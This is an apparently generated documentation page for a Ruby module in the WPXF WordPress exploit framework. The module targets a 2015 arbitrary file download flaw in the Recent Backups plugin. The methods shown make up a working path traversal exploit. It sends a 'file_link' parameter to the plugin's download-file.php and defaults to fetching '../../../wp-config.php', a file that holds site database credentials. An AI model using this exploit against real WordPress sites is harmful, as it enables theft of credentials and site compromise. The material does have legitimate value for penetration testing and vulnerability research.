class Wpxf::Auxiliary::RecentBackupsArbitraryFileDownload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::FileDownload::new
# File lib/wpxf/modules/auxiliary/file_download/recent_backups_arbitrary_file_download.rb, line 6 def initialize super update_info( name: 'Recent Backups Arbitrary File Download', author: [ 'Larry W. Cashdollar', # Disclosure 'rastating' # WPXF module ], references: [ ['WPVDB', '8122'], ['EDB', '37752'] ], date: 'Aug 02 2015' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/recent_backups_arbitrary_file_download.rb, line 23 def check check_plugin_version_from_readme('recent-backups') end
default_remote_file_path()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/recent_backups_arbitrary_file_download.rb, line 31 def default_remote_file_path '../../../wp-config.php' end
download_request_params()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/recent_backups_arbitrary_file_download.rb, line 35 def download_request_params { 'file_link' => remote_file } end
downloader_url()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/recent_backups_arbitrary_file_download.rb, line 39 def downloader_url normalize_uri(wordpress_url_plugins, 'recent-backups', 'download-file.php') end
working_directory()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/recent_backups_arbitrary_file_download.rb, line 27 def working_directory 'wp-content/plugins/recent-backups/' end